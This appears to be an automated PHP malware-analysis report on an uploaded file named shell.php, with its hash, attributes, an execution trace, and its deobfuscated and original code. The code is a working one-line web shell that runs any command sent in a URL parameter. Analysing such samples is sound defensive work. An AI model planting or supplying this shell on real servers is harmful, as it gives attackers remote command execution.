PHP Malware Analysis
shell.php
md5: bdda1ec402645204a4aba378ab57e452
Jump to:
- Deobfuscated code (Read more)
- Execution traces (Read more)
- Generated HTML (Read more)
- Original Code (Read more)
Screenshot
Attributes
Execution
- system (Deobfuscated, Original)
Input
- _GET (Deobfuscated, Original)
URLs
- https://github.com/TheBinitGhimire/Web-Shells (Deobfuscated, Original)
Deobfuscated PHP code
<?php
// This is a simple PHP web shell.
// For more, you can visit the PHP directory at https://github.com/TheBinitGhimire/Web-Shells!
system($_GET['cmd']);Execution traces
data/traces/bdda1ec402645204a4aba378ab57e452_trace-1676240382.9083.xtVersion: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 20:20:08.806114]
1 0 1 0.000139 393512
1 3 0 0.000184 393896 {main} 1 /var/www/html/uploads/shell.php 0 0
2 4 0 0.000216 393896 system 0 /var/www/html/uploads/shell.php 6 1 NULL
2 4 1 0.000239 393928
2 4 R FALSE
1 3 1 0.000253 393896
0.000277 314224
TRACE END [2023-02-12 20:20:08.806283]
Generated HTML code
<html><head></head><body></body></html>Original PHP code
<?php
// This is a simple PHP web shell.
// For more, you can visit the PHP directory at https://github.com/TheBinitGhimire/Web-Shells!
system($_GET['cmd']);
?>